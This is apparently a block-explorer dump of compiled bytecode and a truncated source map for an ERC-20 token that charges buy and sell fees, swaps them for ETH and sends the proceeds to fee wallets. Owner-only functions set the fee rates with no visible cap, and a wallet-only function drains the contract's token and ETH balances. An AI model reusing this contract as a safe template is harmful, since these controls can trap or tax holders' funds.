0x608060405260043610610198575f3560e01c806365b61b77116100e757806395d89b4111610087578063a9059cbb11610062578063a9059cbb1461048c578063d242fbcc146104ab578063dd62ed3e146104ca578063f2fde38b1461050e575f80fd5b806395d89b411461043a578063a266e55e1461044e578063a67755c21461046d575f80fd5b8063715018a6116100c2578063715018a6146103d7578063741c7698146103eb5780637cc5b1e6146103ff5780638da5cb5b1461041e575f80fd5b806365b61b77146103705780636c5808011461038f57806370a08231146103a3575f80fd5b8063313ce567116101525780633f80b6d71161012d5780633f80b6d7146102e15780634bf28fd014610300578063553193ca1461033c5780636402511e14610351575f80fd5b8063313ce5671461026457806336b2e027146102855780633ecad271146102b3575f80fd5b806306fdde03146101a3578063095ea7b3146101cd5780630c062020146101fc57806318160ddd1461021257806323b872dd1461023057806327b1a8e91461024f575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b506101b761052d565b6040516101c4919061156f565b60405180910390f35b3480156101d8575f80fd5b506101ec6101e73660046115bb565b6105bd565b60405190151581526020016101c4565b348015610207575f80fd5b506102106105d3565b005b34801561021d575f80fd5b506009545b6040519081526020016101c4565b34801561023b575f80fd5b506101ec61024a3660046115e5565b61060b565b34801561025a575f80fd5b50610222600d5481565b34801561026f575f80fd5b5060075460405160ff90911681526020016101c4565b348015610290575f80fd5b506101ec61029f366004611623565b60086020525f908152604090205460ff1681565b3480156102be575f80fd5b506101ec6102cd366004611623565b600b6020525f908152604090205460ff1681565b3480156102ec575f80fd5b506102106102fb366004611645565b61069d565b34801561030b575f80fd5b50600c546103249061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101c4565b348015610347575f80fd5b5061022260165481565b34801561035c575f80fd5b5061021061036b36600461167c565b6106dd565b34801561037b575f80fd5b50600a54610324906001600160a01b031681565b34801561039a575f80fd5b5061021061070b565b3480156103ae575f80fd5b506102226103bd366004611623565b6001600160a01b03165f9081526001602052604090205490565b3480156103e2575f80fd5b50610210610b1f565b3480156103f6575f80fd5b50610210610b90565b34801561040a575f80fd5b50600354610324906001600160a01b031681565b348015610429575f80fd5b505f546001600160a01b0316610324565b348015610445575f80fd5b506101b7610bbf565b348015610459575f80fd5b506102106104683660046116a0565b610bce565b348015610478575f80fd5b50610210610487366004611623565b610c21565b348015610497575f80fd5b506101ec6104a63660046115bb565b610d53565b3480156104b6575f80fd5b506102106104c53660046116d7565b610d5f565b3480156104d5575f80fd5b506102226104e43660046116d7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610519575f80fd5b50610210610528366004611623565b610db6565b60606005805461053c90611703565b80601f016020809104026020016040519081016040528092919081815260200182805461056890611703565b80156105b35780601f1061058a576101008083540402835291602001916105b3565b820191905f5260205f20905b81548152906001019060200180831161059657829003601f168201915b5050505050905090565b5f6105c9338484610e79565b5060015b92915050565b5f546001600160a01b031633146106055760405162461bcd60e51b81526004016105fc9061173b565b60405180910390fd5b5f601655565b5f610617848484610ed9565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610693576001600160a01b0384165f90815260026020908152604080832033845290915290205461066f90839061177a565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146106c65760405162461bcd60e51b81526004016105fc9061173b565b601094909455601192909255601255601355601455565b5f546001600160a01b031633146107065760405162461bcd60e51b81526004016105fc9061173b565b601555565b5f546001600160a01b031633146107345760405162461bcd60e51b81526004016105fc9061173b565b601654156107745760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105fc565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255305f908152600260209081526040808320938352928152908290205f1990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa1580156107fc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610820919061178d565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a3919061178d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610911919061178d565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481165f908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015610991573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b5919061178d565b600a5460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610a04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2891906117a8565b50600a80546001600160a01b039081165f908152600860205260409020805460ff1916600117905590541663f305d7194730610a78816001600160a01b03165f9081526001602052604090205490565b5f80610a8b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610af1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b1691906117c3565b50504360165550565b5f546001600160a01b03163314610b485760405162461bcd60e51b81526004016105fc9061173b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610bb95760405162461bcd60e51b81526004016105fc9061173b565b43601655565b60606006805461053c90611703565b5f546001600160a01b03163314610bf75760405162461bcd60e51b81526004016105fc9061173b565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b03163314610c37575f80fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610c88573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cac91906117ee565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610cf4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1891906117a8565b506003546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610d4f573d5f803e3d5ffd5b5050565b5f6105c9338484610ed9565b5f546001600160a01b03163314610d885760405162461bcd60e51b81526004016105fc9061173b565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b5f546001600160a01b03163314610ddf5760405162461bcd60e51b81526004016105fc9061173b565b6001600160a01b038116610e205760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105fc565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604090205481811015610f345760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105fc565b600c5460ff1615610f5157610f4a8484846110f9565b5050505050565b6001600160a01b0383165f908152600b602052604081205460ff168015610f7b5750600c5460ff16155b8015610f9f57506001600160a01b0385165f9081526008602052604090205460ff16155b8015610fc357506001600160a01b0384165f9081526008602052604090205460ff16155b8015610fd25750601454600d54115b1561101557305f9081526001602052604090205483908111156110005750305f908152600160205260409020545b60155481111561101357611013816111ac565b505b6001600160a01b0385165f9081526008602052604090205460ff1615801561105557506001600160a01b0384165f9081526008602052604090205460ff16155b80156110645750600c5460ff16155b156110ed575f60165411611076575f80fd5b506001600160a01b0384165f908152600b602052604090205460019060ff1680156110af5750600a546001600160a01b03858116911614155b80156110d357506001600160a01b0384165f9081526008602052604090205460ff16155b156110ed57600d8054905f6110e783611805565b91905055505b610f4a85858584611384565b6001600160a01b0383165f9081526001602052604081208054839190839061112290849061177a565b90915550506001600160a01b0383165f908152600160205260408120805484929061114e90849061181d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161119a91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111ec576111ec611830565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611243573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611267919061178d565b8160018151811061127a5761127a611830565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac947906112bf9085905f90869030904290600401611844565b5f604051808303815f87803b1580156112d6575f80fd5b505af11580156112e8573d5f803e3d5ffd5b504792505050662386f26fc10000811115611375576003546001600160a01b03166108fc611317600a846118b4565b6040518115909202915f818181858888f1935050505015801561133c573d5f803e3d5ffd5b506004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015611373573d5f803e3d5ffd5b505b5050600c805460ff1916905550565b6001600160a01b0384165f908152600160205260409020546113a790839061177a565b6001600160a01b0385165f9081526001602052604081209190915581156114e2576001600160a01b0384165f908152600b602052604081205460ff161561140657601354600d54116113fb57600f546113ff565b6011545b9050611440565b6001600160a01b0386165f908152600b602052604090205460ff161561144057601254600d541161143957600e5461143d565b6010545b90505b5f606461144d83876118d3565b61145791906118b4565b905080156114df57611469818461181d565b305f9081526001602052604090205490935061148690829061181d565b305f81815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114d69085815260200190565b60405180910390a35b50505b6114ec818461177a565b6001600160a01b0385165f9081526001602052604090205461150e919061181d565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611557848761177a565b60405190815260200160405180910390a35050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146115b8575f80fd5b50565b5f80604083850312156115cc575f80fd5b82356115d7816115a4565b946020939093013593505050565b5f805f606084860312156115f7575f80fd5b8335611602816115a4565b92506020840135611612816115a4565b929592945050506040919091013590565b5f60208284031215611633575f80fd5b813561163e816115a4565b9392505050565b5f805f805f60a08688031215611659575f80fd5b505083359560208501359550604085013594606081013594506080013592509050565b5f6020828403121561168c575f80fd5b5035919050565b80151581146115b8575f80fd5b5f80604083850312156116b1575f80fd5b82356116bc816115a4565b915060208301356116cc81611693565b809150509250929050565b5f80604083850312156116e8575f80fd5b82356116f3816115a4565b915060208301356116cc816115a4565b600181811c9082168061171757607f821691505b60208210810361173557634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b818103818111156105cd576105cd611766565b5f6020828403121561179d575f80fd5b815161163e816115a4565b5f602082840312156117b8575f80fd5b815161163e81611693565b5f805f606084860312156117d5575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156117fe575f80fd5b5051919050565b5f6001820161181657611816611766565b5060010190565b808201808211156105cd576105cd611766565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118945783516001600160a01b031683526020938401939092019160010161186d565b50506001600160a01b039590951660608401525050608001529392505050565b5f826118ce57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176105cd576105cd61176656fea2646970667358221220db55f92b21f017f30d003e5369fbb65a6a993907e13b12b71fa83e223149a99b64736f6c634300081a0033

Deployed Bytecode Sourcemap

3076:8503:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4777:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5540:159;;;;;;;;;;-1:-1:-1;5540:159:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;5540:159:0;945:187:1;10504:78:0;;;;;;;;;;;;;:::i;:::-;;4981:100;;;;;;;;;;-1:-1:-1;5061:12:0;;4981:100;;;1283:25:1;;;1271:2;1256:18;4981:100:0;1137:177:1;5707:336:0;;;;;;;;;;-1:-1:-1;5707:336:0;;;;;:::i;:::-;;:::i;6503:26::-;;;;;;;;;;;;;;;;4879:94;;;;;;;;;;-1:-1:-1;4956:9:0;;4879:94;;4956:9;;;;1974:36:1;;1962:2;1947:18;4879:94:0;1832:184:1;3399:49:0;;;;;;;;;;-1:-1:-1;3399:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3533:44;;;;;;;;;;-1:-1:-1;3533:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6821:406;;;;;;;;;;-1:-1:-1;6821:406:0;;;;;:::i;:::-;;:::i;3659:27::-;;;;;;;;;;-1:-1:-1;3659:27:0;;;;;;;-1:-1:-1;;;;;3659:27:0;;;;;;-1:-1:-1;;;;;3150:32:1;;;3132:51;;3120:2;3105:18;3659:27:0;2986:203:1;9613:30:0;;;;;;;;;;;;;;;;7262:117;;;;;;;;;;-1:-1:-1;7262:117:0;;;;;:::i;:::-;;:::i;3490:36::-;;;;;;;;;;-1:-1:-1;3490:36:0;;;;-1:-1:-1;;;;;3490:36:0;;;9650:753;;;;;;;;;;;;;:::i;5089:119::-;;;;;;;;;;-1:-1:-1;5089:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5182:18:0;5155:7;5182:18;;;:9;:18;;;;;;;5089:119;2699:148;;;;;;;;;;;;;:::i;10411:85::-;;;;;;;;;;;;;:::i;3245:26::-;;;;;;;;;;-1:-1:-1;3245:26:0;;;;-1:-1:-1;;;;;3245:26:0;;;2502:79;;;;;;;;;;-1:-1:-1;2540:7:0;2567:6;-1:-1:-1;;;;;2567:6:0;2502:79;;4671:98;;;;;;;;;;;;;:::i;11410:129::-;;;;;;;;;;-1:-1:-1;11410:129:0;;;;;:::i;:::-;;:::i;10590:217::-;;;;;;;;;;-1:-1:-1;10590:217:0;;;;;:::i;:::-;;:::i;5216:165::-;;;;;;;;;;-1:-1:-1;5216:165:0;;;;;:::i;:::-;;:::i;4501:162::-;;;;;;;;;;-1:-1:-1;4501:162:0;;;;;:::i;:::-;;:::i;5389:143::-;;;;;;;;;;-1:-1:-1;5389:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5497:18:0;;;5470:7;5497:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5389:143;2855:214;;;;;;;;;;-1:-1:-1;2855:214:0;;;;;:::i;:::-;;:::i;4777:94::-;4825:13;4858:5;4851:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4777:94;:::o;5540:159::-;5615:4;5632:37;5641:10;5653:7;5662:6;5632:8;:37::i;:::-;-1:-1:-1;5687:4:0;5540:159;;;;;:::o;10504:78::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:50;;;;-1:-1:-1;;;2621:50:0;;;;;;;:::i;:::-;;;;;;;;;10573:1:::1;10555:15;:19:::0;10504:78::o;5707:336::-;5805:4;5822:36;5832:6;5840:9;5851:6;5822:9;:36::i;:::-;-1:-1:-1;;;;;5873:19:0;;3650:1;5873:19;;;:11;:19;;;;;;;;5893:10;5873:31;;;;;;;;-1:-1:-1;;5873:38:0;5869:145;;-1:-1:-1;;;;;5962:19:0;;;;;;:11;:19;;;;;;;;5982:10;5962:31;;;;;;;;:40;;5996:6;;5962:40;:::i;:::-;-1:-1:-1;;;;;5928:19:0;;;;;;:11;:19;;;;;;;;5948:10;5928:31;;;;;;;:74;5869:145;-1:-1:-1;6031:4:0;5707:336;;;;;:::o;6821:406::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:50;;;;-1:-1:-1;;;2621:50:0;;;;;;;:::i;:::-;7028:12:::1;:21:::0;;;;7060:13:::1;:23:::0;;;;7094:15:::1;:30:::0;7135:16:::1;:32:::0;7178:18:::1;:41:::0;6821:406::o;7262:117::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:50;;;;-1:-1:-1;;;2621:50:0;;;;;;;:::i;:::-;7348:12:::1;:23:::0;7262:117::o;9650:753::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:50;;;;-1:-1:-1;;;2621:50:0;;;;;;;:::i;:::-;9708:15:::1;::::0;:20;9700:46:::1;;;::::0;-1:-1:-1;;;9700:46:0;;6389:2:1;9700:46:0::1;::::0;::::1;6371:21:1::0;6428:2;6408:18;;;6401:30;-1:-1:-1;;;6447:18:1;;;6440:43;6500:18;;9700:46:0::1;6187:337:1::0;9700:46:0::1;9757:14;:75:::0;;-1:-1:-1;;;;;;9757:75:0::1;9789:42;9757:75:::0;;::::1;::::0;;9863:4:::1;9757:14;9843:26:::0;;;:11:::1;:26;::::0;;;;;;;:51;;;;;;;;;;-1:-1:-1;;9843:57:0;;9942:14;;:24;;-1:-1:-1;;;9942:24:0;;;;-1:-1:-1;;;;;9942:14:0;;;::::1;::::0;:22:::1;::::0;:24:::1;::::0;;::::1;::::0;;;;;;;:14;:24:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9926:52:0::1;;9987:4;9994:14;;;;;;;;;-1:-1:-1::0;;;;;9994:14:0::1;-1:-1:-1::0;;;;;9994:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9926:90;::::0;-1:-1:-1;;;;;;9926:90:0::1;::::0;;;;;;-1:-1:-1;;;;;6977:32:1;;;9926:90:0::1;::::0;::::1;6959:51:1::0;7046:32;;7026:18;;;7019:60;6932:18;;9926:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9911:12;:105:::0;;-1:-1:-1;;;;;;9911:105:0::1;;-1:-1:-1::0;;;;;9911:105:0;;::::1;::::0;::::1;::::0;;;::::1;::::0;;;;10040:12;::::1;::::0;::::1;-1:-1:-1::0;10027:26:0;;;:12:::1;:26;::::0;;;;;;;;:33;;-1:-1:-1;;10027:33:0::1;-1:-1:-1::0;10027:33:0::1;::::0;;10078:14:::1;::::0;:21;;-1:-1:-1;;;10078:21:0;;;;:14;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;10027:26;10078:21;;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10125:14;::::0;10071:84:::1;::::0;-1:-1:-1;;;10071:84:0;;-1:-1:-1;;;;;10125:14:0;;::::1;10071:84;::::0;::::1;7264:51:1::0;-1:-1:-1;;7331:18:1;;;7324:34;10071:37:0;::::1;::::0;::::1;::::0;7237:18:1;;10071:84:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10192:14:0::1;::::0;;-1:-1:-1;;;;;10192:14:0;;::::1;10166:42;::::0;;;:17:::1;:42;::::0;;;;:49;;-1:-1:-1;;10166:49:0::1;10211:4;10166:49;::::0;;10226:14;;::::1;:30;10264:21;10295:4;10301:24;10295:4:::0;-1:-1:-1;;;;;5182:18:0;5155:7;5182:18;;;:9;:18;;;;;;;5089:119;10301:24:::1;10326:1;10328::::0;10330:7:::1;2540::::0;2567:6;-1:-1:-1;;;;;2567:6:0;;2502:79;10330:7:::1;10226:128;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10226:128:0;;;-1:-1:-1;;;;;7940:32:1;;;10226:128:0::1;::::0;::::1;7922:51:1::0;7989:18;;;7982:34;;;;8032:18;;;8025:34;;;;8075:18;;;8068:34;8139:32;;;8118:19;;;8111:61;10338:15:0::1;8188:19:1::0;;;8181:35;7894:19;;10226:128:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10383:12:0::1;10365:15;:30:::0;-1:-1:-1;9650:753:0:o;2699:148::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:50;;;;-1:-1:-1;;;2621:50:0;;;;;;;:::i;:::-;2806:1:::1;2790:6:::0;;2769:40:::1;::::0;-1:-1:-1;;;;;2790:6:0;;::::1;::::0;2769:40:::1;::::0;2806:1;;2769:40:::1;2837:1;2820:19:::0;;-1:-1:-1;;;;;;2820:19:0::1;::::0;;2699:148::o;10411:85::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:50;;;;-1:-1:-1;;;2621:50:0;;;;;;;:::i;:::-;10476:12:::1;10458:15;:30:::0;10411:85::o;4671:98::-;4721:13;4754:7;4747:14;;;;;:::i;11410:129::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:50;;;;-1:-1:-1;;;2621:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11497:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;11497:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11410:129::o;10590:217::-;10669:3;;-1:-1:-1;;;;;10669:3:0;10655:10;:17;10647:26;;;;;;10708:3;;10713:39;;-1:-1:-1;;;10713:39:0;;10746:4;10713:39;;;3132:51:1;-1:-1:-1;;;;;10684:23:0;;;;;;10708:3;;;10684:23;;10713:24;;3105:18:1;;10713:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10684:69;;-1:-1:-1;;;;;;10684:69:0;;;;;;;-1:-1:-1;;;;;7282:32:1;;;10684:69:0;;;7264:51:1;7331:18;;;7324:34;7237:18;;10684:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;10764:3:0;;:35;;-1:-1:-1;;;;;10764:3:0;;;;10777:21;10764:35;;;;;:3;:35;:3;:35;10777:21;10764:3;:35;;;;;;;;;;;;;;;;;;;;;10590:217;:::o;5216:165::-;5294:4;5311:40;5321:10;5333:9;5344:6;5311:9;:40::i;4501:162::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:50;;;;-1:-1:-1;;;2621:50:0;;;;;;;:::i;:::-;4618:3:::1;:12:::0;;-1:-1:-1;;;;;4618:12:0;;::::1;-1:-1:-1::0;;;;;;4618:12:0;;::::1;;::::0;;;4641:4:::1;:14:::0;;;;;::::1;::::0;::::1;;::::0;;4501:162::o;2855:214::-;2629:6;;-1:-1:-1;;;;;2629:6:0;2639:10;2629:20;2621:50;;;;-1:-1:-1;;;2621:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2944:22:0;::::1;2936:43;;;::::0;-1:-1:-1;;;2936:43:0;;9412:2:1;2936:43:0::1;::::0;::::1;9394:21:1::0;9451:1;9431:18;;;9424:29;-1:-1:-1;;;9469:18:1;;;9462:38;9517:18;;2936:43:0::1;9210:331:1::0;2936:43:0::1;3016:6;::::0;;2995:38:::1;::::0;-1:-1:-1;;;;;2995:38:0;;::::1;::::0;3016:6;::::1;::::0;2995:38:::1;::::0;::::1;3044:6;:17:::0;;-1:-1:-1;;;;;;3044:17:0::1;-1:-1:-1::0;;;;;3044:17:0;;;::::1;::::0;;;::::1;::::0;;2855:214::o;6051:177::-;-1:-1:-1;;;;;6136:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6188:32;;1283:25:1;;;6188:32:0;;1256:18:1;6188:32:0;;;;;;;6051:177;;;:::o;7387:1177::-;-1:-1:-1;;;;;5182:18:0;;7501:15;5182:18;;;:9;:18;;;;;;7553:17;;;;7545:46;;;;-1:-1:-1;;;7545:46:0;;9748:2:1;7545:46:0;;;9730:21:1;9787:2;9767:18;;;9760:30;-1:-1:-1;;;9806:18:1;;;9799:46;9862:18;;7545:46:0;9546:340:1;7545:46:0;7608:6;;;;7604:91;;;7630:32;7645:4;7651:2;7655:6;7630:14;:32::i;:::-;;7677:7;7387:1177;;;:::o;7604:91::-;-1:-1:-1;;;;;7736:16:0;;7707:12;7736:16;;;:12;:16;;;;;;;;:27;;;;-1:-1:-1;7757:6:0;;;;7756:7;7736:27;:55;;;;-1:-1:-1;;;;;;7768:23:0;;;;;;:17;:23;;;;;;;;7767:24;7736:55;:81;;;;-1:-1:-1;;;;;;7796:21:0;;;;;;:17;:21;;;;;;;;7795:22;7736:81;:115;;;;;7833:18;;7821:9;;:30;7736:115;7732:424;;;7951:4;5155:7;5182:18;;;:9;:18;;;;;;7892:6;;7917:13;:40;7913:120;;;-1:-1:-1;8011:4:0;7993:24;;;;:9;:24;;;;;;7913:120;8067:12;;8051:13;:28;8047:98;;;8099:30;8115:13;8099:15;:30::i;:::-;7853:303;7732:424;-1:-1:-1;;;;;8173:23:0;;;;;;:17;:23;;;;;;;;8172:24;:50;;;;-1:-1:-1;;;;;;8201:21:0;;;;;;:17;:21;;;;;;;;8200:22;8172:50;:61;;;;-1:-1:-1;8227:6:0;;;;8226:7;8172:61;8168:335;;;8276:1;8258:15;;:19;8250:28;;;;;;-1:-1:-1;;;;;;8365:18:0;;;;;;:12;:18;;;;;;8303:4;;8365:18;;:51;;;;-1:-1:-1;8401:14:0;;-1:-1:-1;;;;;8387:29:0;;;8401:14;;8387:29;;8365:51;:77;;;;-1:-1:-1;;;;;;8421:21:0;;;;;;:17;:21;;;;;;;;8420:22;8365:77;8361:129;;;8463:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8361:129;8515:41;8530:4;8536:2;8540:6;8548:7;8515:14;:41::i;6236:259::-;-1:-1:-1;;;;;6346:17:0;;6329:4;6346:17;;;:9;:17;;;;;:27;;6367:6;;6346:17;6329:4;;6346:27;;6367:6;;6346:27;:::i;:::-;;;;-1:-1:-1;;;;;;;6384:20:0;;;;;;:9;:20;;;;;:30;;6408:6;;6384:20;:30;;6408:6;;6384:30;:::i;:::-;;;;;;;;6447:9;-1:-1:-1;;;;;6430:35:0;6439:6;-1:-1:-1;;;;;6430:35:0;;6458:6;6430:35;;;;1283:25:1;;1271:2;1256:18;;1137:177;6430:35:0;;;;;;;;-1:-1:-1;6483:4:0;6236:259;;;;;:::o;10815:587::-;3725:6;:13;;-1:-1:-1;;3725:13:0;3734:4;3725:13;;;10916:16:::1;::::0;;10930:1:::1;10916:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10916:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10916:16:0::1;10892:40;;10961:4;10943;10948:1;10943:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10943:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10987:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;10987:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;10943:7;;10987:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10977:4;10982:1;10977:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10977:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;11019:14:::1;::::0;:195:::1;::::0;-1:-1:-1;;;11019:195:0;;:14;::::1;::::0;:65:::1;::::0;:195:::1;::::0;11099:11;;11019:14:::1;::::0;11141:4;;11168::::1;::::0;11188:15:::1;::::0;11019:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;11242:21:0::1;::::0;-1:-1:-1;;;11285:10:0::1;11278:17:::0;::::1;11274:121;;;11311:3;::::0;-1:-1:-1;;;;;11311:3:0::1;:21;11324:7;11329:2;11324:4:::0;:7:::1;:::i;:::-;11311:21;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;11347:4:0::1;::::0;:36:::1;::::0;-1:-1:-1;;;;;11347:4:0;;::::1;::::0;11361:21:::1;11347:36:::0;::::1;;;::::0;:4:::1;:36:::0;:4;:36;11361:21;11347:4;:36;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11274:121;-1:-1:-1::0;;3761:6:0;:14;;-1:-1:-1;;3761:14:0;;;-1:-1:-1;10815:587:0:o;8572:1031::-;-1:-1:-1;;;;;8744:17:0;;;;;;:9;:17;;;;;;:27;;8764:7;;8744:27;:::i;:::-;-1:-1:-1;;;;;8724:17:0;;;;;;:9;:17;;;;;:47;;;;8812:638;;;;-1:-1:-1;;;;;8873:23:0;;8840:14;8873:23;;;:12;:23;;;;;;;;8869:270;;;8938:16;;8926:9;;:28;:62;;8973:15;;8926:62;;;8957:13;;8926:62;8917:71;;8869:270;;;-1:-1:-1;;;;;9014:20:0;;;;;;:12;:20;;;;;;;;9010:129;;;9076:15;;9064